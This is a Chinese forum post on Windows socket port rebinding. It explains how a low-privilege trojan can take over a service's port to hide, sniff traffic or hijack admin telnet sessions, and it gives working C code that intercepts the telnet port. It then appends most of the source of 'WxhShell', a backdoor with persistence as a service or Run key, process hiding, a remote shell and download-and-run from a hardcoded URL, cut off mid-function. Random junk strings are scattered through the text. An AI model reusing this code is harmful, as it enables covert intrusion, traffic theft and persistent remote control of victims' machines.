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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _sMs}?^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LAs7>hM  
x:z0EYL  
  saddr.sin_family = AF_INET; Dy9\O77>  
Tz-X o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \e:d)^cbh  
LtKB v 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lAASV{s{  
kU*{4G|6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T] | d 5E  
>1|g5  
  这意味着什么?意味着可以进行如下的攻击: ;4~U,+Av  
*D6X&Hg&5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  Q  
OPP^n-iPr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]> 36{k]&  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1w/Ur'8we  
_)6N&u8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eg$y,Tx  
: ZWKrnG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3sy|pa  
T_=iJ: Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F#^<t$5t  
eK=<a<tx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \8e27#PJR  
!0k'fYCa  
  #include >*FHJCe  
  #include svTKt%6X  
  #include ]1k"'XG4,  
  #include    &3t[p=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^w(~gQ6|mP  
  int main() +dgHl_,i  
  { b!J%s   
  WORD wVersionRequested; y +2  
  DWORD ret; 2V6kCy@V  
  WSADATA wsaData; 6+s10?  
  BOOL val; b)1v:X4Bv=  
  SOCKADDR_IN saddr; `HO_t ek  
  SOCKADDR_IN scaddr; THl={,Rw`  
  int err; ?0%3~E`l:  
  SOCKET s; ~aZy52H_#.  
  SOCKET sc; 2uln)]  
  int caddsize; O"6 (k{`  
  HANDLE mt; !um~P  
  DWORD tid;   T1YCld  
  wVersionRequested = MAKEWORD( 2, 2 ); *@1(!A  
  err = WSAStartup( wVersionRequested, &wsaData ); c1x{$  
  if ( err != 0 ) { iXsX@ S^F  
  printf("error!WSAStartup failed!\n"); xB<^ar  
  return -1; W7PL]5y&  
  } f}%paE"  
  saddr.sin_family = AF_INET; :{Mr~Co*  
   V }?MP-.c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Am @o}EC  
L)qDtXd4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  'K7m!y  
  saddr.sin_port = htons(23); WNmG'hlA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %p t^?  
  { XTro;R=#  
  printf("error!socket failed!\n"); 618k-  
  return -1; `:>N.9'o  
  } ;rqW?':(i  
  val = TRUE; ALY3en9,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L#6!W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <<M1:1  
  { JV`"kk/  
  printf("error!setsockopt failed!\n"); >f*-9  
  return -1; Zb4+zps^-  
  } qe<xH#6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =v:}{~M^$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F6Ne?[b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tf{lH9ca$  
VYw<8AEFY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m8Y>4:Nw  
  { n3" @E<rW  
  ret=GetLastError(); uGU-MC *  
  printf("error!bind failed!\n"); [R(dCq>  
  return -1; [O@U@bD9  
  } -2qI2Z  
  listen(s,2); W1 \dGskV  
  while(1) HXb^K  
  { ^OrO&w|  
  caddsize = sizeof(scaddr); P/,ezVb=  
  //接受连接请求 ys- w0H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1deK}5'  
  if(sc!=INVALID_SOCKET) [5;_XMj%  
  { j*_>/gi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U&o ~U] rm  
  if(mt==NULL) ?W\KIp \Kn  
  { 5;CqGzgoP  
  printf("Thread Creat Failed!\n"); #}+_Hy  
  break; ?6V U4nK/*  
  } :4x&B^,53  
  } *],= !  
  CloseHandle(mt); 8E|FFHNK<2  
  } S9E<)L  
  closesocket(s); nkkUby9  
  WSACleanup(); "P!zu(h4  
  return 0; IN=l|Q$8f  
  }   \=j|ju3  
  DWORD WINAPI ClientThread(LPVOID lpParam) iUq{c+h  
  { H)pB{W/  
  SOCKET ss = (SOCKET)lpParam; o@qI!?p&  
  SOCKET sc; !|-:"hE1h  
  unsigned char buf[4096]; l'RuzBQr  
  SOCKADDR_IN saddr; 6.M!WK{+  
  long num; ge[&og/$  
  DWORD val; /rnP/X)T  
  DWORD ret; @#::C@V]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A&C?|M? M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]8|peo{  
  saddr.sin_family = AF_INET; RJE<1!{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e^h4cC\^  
  saddr.sin_port = htons(23); t<yOTVah  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zvKypx  
  { zJTSg  
  printf("error!socket failed!\n"); vJg^uf)  
  return -1; puK /;nns  
  } |$`I1  
  val = 100; , R $ZZ4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bX`VIFc  
  { Ombvp;  
  ret = GetLastError(); |c:xK{Ik  
  return -1; r~sQdf  
  } ;mXw4_{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $jN,] N~  
  { |r/4 ({n  
  ret = GetLastError(); FQw@ @  
  return -1; gro@+^DmT  
  } q6zKyOE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (\ Gs7  
  { d1/uI^8>  
  printf("error!socket connect failed!\n"); QE~#eo  
  closesocket(sc); 8\rHSsP  
  closesocket(ss); B#K2?Et!t  
  return -1; qh 9Ix  
  } -\~D6OA  
  while(1) X] v.Yk=wu  
  { ['_G1_p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y%xn(Bn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pt8 U0)i)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ewv[nJD$  
  num = recv(ss,buf,4096,0); a*nx2d  
  if(num>0) e"6!0Py#*  
  send(sc,buf,num,0); L }&$5KiwV  
  else if(num==0) \!,qXfTMB  
  break; 3qBZzM O*  
  num = recv(sc,buf,4096,0); Dv[ 35[Yh  
  if(num>0) \k)(:[^FY  
  send(ss,buf,num,0); w|WehNGr  
  else if(num==0) [";<YR7iRN  
  break; pTk1iGfB  
  } H| 1O>p&  
  closesocket(ss); >$p|W~x  
  closesocket(sc); gv,8Wo  
  return 0 ; '}$$o1R  
  } >s+*D=k  
63n<4VSH  
l-RwCw4f  
========================================================== "=9kX`(1y  
`+O7IyTM A  
下边附上一个代码,,WXhSHELL & !I$  
a'2^kds  
========================================================== +$H`/^a.  
Zqnwf  
#include "stdafx.h" &p#$}tm  
l gzA) (  
#include <stdio.h> @>sZ'M2mq  
#include <string.h> E/_I$<,_y  
#include <windows.h> 5T4!' 4n  
#include <winsock2.h> f]Q`8nU  
#include <winsvc.h> 'lD"{^  
#include <urlmon.h> w `0m[*  
"`4V ^1  
#pragma comment (lib, "Ws2_32.lib") kL1StF#p  
#pragma comment (lib, "urlmon.lib") J"Z=`I)KON  
j"c30AY  
#define MAX_USER   100 // 最大客户端连接数 7r4|>F  
#define BUF_SOCK   200 // sock buffer j6_tFJT  
#define KEY_BUFF   255 // 输入 buffer -@EAL:kY  
e=m=IVY #W  
#define REBOOT     0   // 重启  F6\Hqv  
#define SHUTDOWN   1   // 关机 GnzKDDH '  
swh8-_[c/  
#define DEF_PORT   5000 // 监听端口 Lradyo44u\  
-x?I6>{  
#define REG_LEN     16   // 注册表键长度 <//#0r*  
#define SVC_LEN     80   // NT服务名长度 b,Vg3BS  
J*} warf&  
// 从dll定义API ?' :v): J}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^Voi 4;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TppuEC>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6*\WH%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yHk}'YP  
dRD t.U!T  
// wxhshell配置信息 ,'f^K!iA   
struct WSCFG { t/57LjV  
  int ws_port;         // 监听端口 Adma~]T9  
  char ws_passstr[REG_LEN]; // 口令 <X b B;  
  int ws_autoins;       // 安装标记, 1=yes 0=no p&nPzZQL(  
  char ws_regname[REG_LEN]; // 注册表键名 4Lb!Au|Y  
  char ws_svcname[REG_LEN]; // 服务名 y9xvGr[l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PV\aQO.mo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t3// U#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !\ 6<kQg#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?~p]Ey}~9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <n-}z[09  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FP_q?=~rFs  
z?DI4 O#Up  
}; 0Kytg\p}  
h7"c_=w+  
// default Wxhshell configuration ,|RN?1?U  
struct WSCFG wscfg={DEF_PORT, S[ln||{  
    "xuhuanlingzhe", wJ%;\06  
    1, kR,ry:J-  
    "Wxhshell", aVvma=  
    "Wxhshell", MOia] 5  
            "WxhShell Service", rn9n_)  
    "Wrsky Windows CmdShell Service", ("r\3Mvs  
    "Please Input Your Password: ", LpYG!Kl  
  1, 5w+KIHhN|  
  "http://www.wrsky.com/wxhshell.exe", NZoNsNu*C.  
  "Wxhshell.exe" /2.}m`5  
    }; Q_r}cL/A  
Db`SNk=  
// 消息定义模块 e1OGGF%E n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YEPQ/Pc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b$;qtfJG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }NJKkj?  
char *msg_ws_ext="\n\rExit."; DEw>f%&4  
char *msg_ws_end="\n\rQuit."; 'EHt A9M  
char *msg_ws_boot="\n\rReboot..."; S6CI+W  
char *msg_ws_poff="\n\rShutdown..."; /wI"oHZd  
char *msg_ws_down="\n\rSave to "; *671MJ 9  
\_]X+o;  
char *msg_ws_err="\n\rErr!"; xt&4]M V  
char *msg_ws_ok="\n\rOK!"; 'L@kZ  
W=:AOBK  
char ExeFile[MAX_PATH]; xfa-   
int nUser = 0; Gl"|t't(  
HANDLE handles[MAX_USER]; 64i*_\UKe  
int OsIsNt; Xwo%DZKN  
lQM&q  
SERVICE_STATUS       serviceStatus; s(Bcw`'#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k5%W8dI  
Vak\N)=u  
// 函数声明 _70Z1_ ;  
int Install(void); @jxP3:s  
int Uninstall(void); (^NYC$ZxM=  
int DownloadFile(char *sURL, SOCKET wsh); Z%Fc -KVt  
int Boot(int flag); J%u,qF}h  
void HideProc(void); f DwK5?  
int GetOsVer(void); d9&   
int Wxhshell(SOCKET wsl); DL*vF>v  
void TalkWithClient(void *cs); 6CCm1F{`  
int CmdShell(SOCKET sock); eaAGlEW6J  
int StartFromService(void); 6_s(Kx>j  
int StartWxhshell(LPSTR lpCmdLine); lrAhdi  
njc-=o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .P <3+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4*ZY#7h  
)ViBH\.*p  
// 数据结构和表定义 f"*k>=ETI  
SERVICE_TABLE_ENTRY DispatchTable[] = rz0)S py6  
{ {h=gnR-9  
{wscfg.ws_svcname, NTServiceMain}, 9Pb6Z}  
{NULL, NULL} [!De|,u(^  
}; j4<K0-?  
n y cn  
// 自我安装 %vv`Vx2  
int Install(void) ?-zuy US  
{ Khb Ku0Z  
  char svExeFile[MAX_PATH]; R G*Vdom  
  HKEY key; S,j. ?u*!  
  strcpy(svExeFile,ExeFile); `BQv;NtP  
|r*)U(c`  
// 如果是win9x系统,修改注册表设为自启动 '4nJ*Xa  
if(!OsIsNt) { o{6q>Jm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b[GhI+_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W#%s0EN<_  
  RegCloseKey(key); ?!K6")SE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z&WtPSyGj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $&=xw _  
  RegCloseKey(key); 7o0zny3?  
  return 0; \ )=WA!  
    } X~Vr}  
  } H(Q|qckj  
} qfzT8-Y  
else { Zr@G  
wC[Bh^]  
// 如果是NT以上系统,安装为系统服务 6J%+pt[tu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h 66X746  
if (schSCManager!=0) )|zna{g\  
{ r=ds'n"  
  SC_HANDLE schService = CreateService ZIrJ"*QO=  
  ( zE NlL  
  schSCManager, ePJtdKN:  
  wscfg.ws_svcname, O6pL )6d  
  wscfg.ws_svcdisp, IW'2+EGc  
  SERVICE_ALL_ACCESS, ,o)U9 <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QWBQ 0#L  
  SERVICE_AUTO_START, <\cH9D`dE  
  SERVICE_ERROR_NORMAL, Tse Pdkk  
  svExeFile, +t XOP|X  
  NULL, :{v:sK  
  NULL, /M "E5  
  NULL, jHx<}<  
  NULL, NK@G0p~O  
  NULL vYNh0)$%F  
  ); zz4A,XrD  
  if (schService!=0) z<F.0~)jb  
  { _8'FI_E3  
  CloseServiceHandle(schService); =Jx,.|Bf  
  CloseServiceHandle(schSCManager); KD~F5aS`[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1!E+(Iq  
  strcat(svExeFile,wscfg.ws_svcname); FT* o;&_QS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  o2ndnIL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7^~pOFdH  
  RegCloseKey(key); WqC6 c&NM  
  return 0; w^&TG3m1~  
    } fodr1M4J  
  } $W8  
  CloseServiceHandle(schSCManager); @:. 6'ji,`  
} -hP@L ++D  
} kgz2/,  
B K'!WX  
return 1; iD|"}}01  
} +*Cg2`  
eD, 7gC-  
// 自我卸载 q*ZjOqj  
int Uninstall(void) Iy](?b  
{ OX ?9 3AlG  
  HKEY key; v5t`?+e  
qfY.X&]PU  
if(!OsIsNt) { L$`!~z 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sDCa&"6+@  
  RegDeleteValue(key,wscfg.ws_regname); 2WIbu-"l  
  RegCloseKey(key); m4n J9<-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }b YiyG\  
  RegDeleteValue(key,wscfg.ws_regname); F,e_`  
  RegCloseKey(key); XQk9 U  
  return 0; 7;n'4LIa9  
  } doxQS ohS  
} d*1@lmV*  
} oj<.axA,  
else { KTk%N p  
1H @GwQ|<=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 11 .RG *  
if (schSCManager!=0) $xS `i-|  
{ 5RTAM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9r7QE&.  
  if (schService!=0) D;<Q m,[  
  { 8@/]ki `>  
  if(DeleteService(schService)!=0) { '&3Sl?E  
  CloseServiceHandle(schService); + &b`QcH<  
  CloseServiceHandle(schSCManager); iYv6B6o/99  
  return 0; q[q#cY:0  
  } .d9VV&  
  CloseServiceHandle(schService); qB7.LR*'  
  } 1(!QutEb  
  CloseServiceHandle(schSCManager); 'mug,jM  
} s iv KXd  
} %I%F !M  
T |'Ur #  
return 1; d+ih]?  
} r#]gAG4t\  
tZU"Ud  
// 从指定url下载文件 !hF b <  
int DownloadFile(char *sURL, SOCKET wsh) Ajq;\- :  
{ rg_-gZl8&z  
  HRESULT hr; ; ZL<7tLDb  
char seps[]= "/"; Cz?N[dhh  
char *token; "a`0s_F,^  
char *file; f;pR8  
char myURL[MAX_PATH]; klUxt?-  
char myFILE[MAX_PATH]; yi# Nrc5B  
L|6clGp  
strcpy(myURL,sURL); .K}u`v T  
  token=strtok(myURL,seps); /n?5J`6  
  while(token!=NULL) G+b$WQn2t  
  { {)ZbOq2  
    file=token; .(CzsupY_q  
  token=strtok(NULL,seps); \D,0  
  } w*#k&N[X  
.XURI#b  
GetCurrentDirectory(MAX_PATH,myFILE); YcRjbF,|6  
strcat(myFILE, "\\"); dm.?-u;C  
strcat(myFILE, file); LD_aJ^(d  
  send(wsh,myFILE,strlen(myFILE),0); Ax0u \(p<^  
send(wsh,"...",3,0); %'4dg k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q'+XTal  
  if(hr==S_OK) p5)A"p8"9,  
return 0; IOTHk+w  
else !pw%l4]/t  
return 1; _h@7>+vl~  
]ueq&|  
} v]U[7 j  
c !P9`l~MQ  
// 系统电源模块 &E {/s  
int Boot(int flag) #hR}7K+@  
{ wOHK dQ'  
  HANDLE hToken; RJF1~9  
  TOKEN_PRIVILEGES tkp; l+R-lsj  
o0s+ roiD  
  if(OsIsNt) { fRaVY`|wK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 09|d<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); go2:D#mf  
    tkp.PrivilegeCount = 1; 1/gY]ghL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aKH\8O4L5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nm %ka4  
if(flag==REBOOT) { 7ou2SL}k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7i 334iQZ  
  return 0; H0tjN&O_  
} vWe)cJ  
else { HewVwD<C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SAThY$)6  
  return 0; I9SO}a2p  
} _Mq@58q'  
  } lP9a*>=a  
  else { "-v9V7KCM  
if(flag==REBOOT) { ':o.vQdJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T{sw{E*  
  return 0; /,E%)K;  
} gA~Ih  
else { <Er|s^C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `'Z ;+h]  
  return 0; 5IdmKP|  
} [u)^QgP  
} Uy_`=JZ  
]C)PZZI='  
return 1; eSa ]6  
} TrkoLJmB  
.%WbXs  
// win9x进程隐藏模块 TKRu^KH9  
void HideProc(void) 7F|T5[*l  
{ l<7 b  
,"j |0Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YroKC+4"i  
  if ( hKernel != NULL ) [2)Y0; ["  
  { bmt2~!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TO( =4;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @*%5"~F  
    FreeLibrary(hKernel); iCl,7$[*  
  } Gt6$@ji4u  
l Fzb$k}_{  
return; '7xmj:.==  
} l6l)M  
8 A%)m  
// 获取操作系统版本 ?"qU.}kGL  
int GetOsVer(void) RMLs(?e  
{ G9Xrwk<g4  
  OSVERSIONINFO winfo; n~K_|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $stJ+uh  
  GetVersionEx(&winfo); +sgishqn9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <k<  
  return 1; tgg *6lc  
  else eT}c_h)  
  return 0; =P0~=UP  
} v>7=T 8  
#G9S[J=xe  
// 客户端句柄模块 $+7M Y-9T  
int Wxhshell(SOCKET wsl) @Cw<wrem  
{ u^iK?S#Ci8  
  SOCKET wsh; 8 b|&  
  struct sockaddr_in client; Y}nE/bmx&9  
  DWORD myID; .D)'ZY  
Ej6vGC.,  
  while(nUser<MAX_USER) ]_F%{8|  
{ <K4'|HU/  
  int nSize=sizeof(client); +XFF@h&=t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 193Q  
  if(wsh==INVALID_SOCKET) return 1; _?O'65  
.rN 5A+By`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WBTX~%*U  
if(handles[nUser]==0) m./lrz  
  closesocket(wsh); hQ8/-#LO_  
else HAN#_B1.  
  nUser++; mj S)*@F  
  } lh8`.sWk4V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `4w0 *;k;  
8BLtTpu  
  return 0; ] hL 1qS  
} yy/wSk  
1 ljgq]($  
// 关闭 socket !cp ,OrO\  
void CloseIt(SOCKET wsh) a.wRJ  
{ ]#R;%L  
closesocket(wsh); [^~Fu9+"  
nUser--; Tv~<W4  
ExitThread(0); }MXZ  
} 5XA6IL|/l  
y=5s~7]  
// 客户端请求句柄 &``;1/J*W  
void TalkWithClient(void *cs) 7 P=1+2V  
{ *vUKh^="  
0=L:8&m  
  SOCKET wsh=(SOCKET)cs; :4&qASn  
  char pwd[SVC_LEN]; CKNH/[ ZR,  
  char cmd[KEY_BUFF]; Zp l?zI  
char chr[1]; RK"dPr  
int i,j; eP[azC"G[  
}T4"#'`  
  while (nUser < MAX_USER) { q;t T*B W  
Vk@u|6U'  
if(wscfg.ws_passstr) { 8$xg\l0?KK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Q})%j1S0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1th|n  
  //ZeroMemory(pwd,KEY_BUFF); l|U=(aA]h  
      i=0; c,X\1yLy  
  while(i<SVC_LEN) { q ( H^H  
8WfF: R;  
  // 设置超时 Y -o*d@  
  fd_set FdRead; sAC1Pda  
  struct timeval TimeOut; JU/K\S2%,  
  FD_ZERO(&FdRead); YDC[s ^d5  
  FD_SET(wsh,&FdRead); [1 w  
  TimeOut.tv_sec=8; !|!:MYn  
  TimeOut.tv_usec=0; %+Mi~k*A'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `3/,-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mNWmp_c,1  
"xdXHuX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i2)rDek3]T  
  pwd=chr[0]; F+*: >@3  
  if(chr[0]==0xd || chr[0]==0xa) { l3b$b%0'  
  pwd=0; }bAd@a9>3  
  break; 9I+;waLlB  
  } <;SQ1^N  
  i++; OZQhT)nS]  
    } @C~TD)K  
*N[.']#n  
  // 如果是非法用户,关闭 socket W>bhSKV%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X./8 PK?&  
} DIkD6n?V  
$9M>B<]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :-ax5,J>q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ofj7$se  
V.: a6>]  
while(1) { no)Spo'  
Ep.,2H  
  ZeroMemory(cmd,KEY_BUFF); < 5;0LPU  
f|w+}z  
      // 自动支持客户端 telnet标准   mQ('X~l  
  j=0;  Pb+oV  
  while(j<KEY_BUFF) { uy~5!i&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $/Zsy6q:  
  cmd[j]=chr[0]; #W~5M ?+  
  if(chr[0]==0xa || chr[0]==0xd) { eP(%+[g  
  cmd[j]=0; V[rNJf1z  
  break; MS_&;2  
  } vXq=f:y4  
  j++; &s\$&%|  
    } }sd-X`lZ  
j K$4G.x  
  // 下载文件 n<"?+bz"<  
  if(strstr(cmd,"http://")) { %R7Q`!@8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gmj a2F,  
  if(DownloadFile(cmd,wsh)) 4ME8NEE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\i /@x5#  
  else \G#Qe*"'K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *;,=x<  
  } os/~6  
  else { Kbg`ZO*  
4+$<G/K  
    switch(cmd[0]) { Z|RY2P>E  
  CK, 6ytB  
  // 帮助 ]%Zz \Q  
  case '?': { ?\8?%Qk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6_N(;6kx(  
    break; /?'; nGq  
  } "UwH\T4I  
  // 安装 !n6wWl  
  case 'i': { t>8XTqqi  
    if(Install()) S*AERm   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8'wG{3A  
    else Zo>]rKeV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W2uOR{ '?  
    break; 9n}p;3{f  
    } dg4vc][  
  // 卸载 9'hv%A:\3  
  case 'r': { ja=F7Usb  
    if(Uninstall()) 0a"igq9t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs[aa#v4B  
    else u^029sH6j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q&:=<+2"  
    break; y\{%\$  
    } MQin"\  
  // 显示 wxhshell 所在路径 ? `J[[",  
  case 'p': { If%/3UJ@  
    char svExeFile[MAX_PATH]; ^k<o T'89  
    strcpy(svExeFile,"\n\r"); 9)VF 1LD  
      strcat(svExeFile,ExeFile); F:mq'<Q  
        send(wsh,svExeFile,strlen(svExeFile),0); y!]CJigpZ  
    break; i1 RiGS  
    } tDAhyy73  
  // 重启 @?"h !fyu  
  case 'b': { 8b0d]*q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]vuwkn+)  
    if(Boot(REBOOT)) "Ky; a?Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SM@QUAXO  
    else { KF4PJi;*  
    closesocket(wsh); U!Ek'  
    ExitThread(0); ;NRF=d>  
    } c&L"N!4z  
    break; P (S>=,Y&  
    } -kbg\,PW  
  // 关机 Li Kxq=K  
  case 'd': { ES40?o*]x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n[(Qr9  
    if(Boot(SHUTDOWN)) (e"iO`H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zkf0p9h\  
    else { a@R]X5[O  
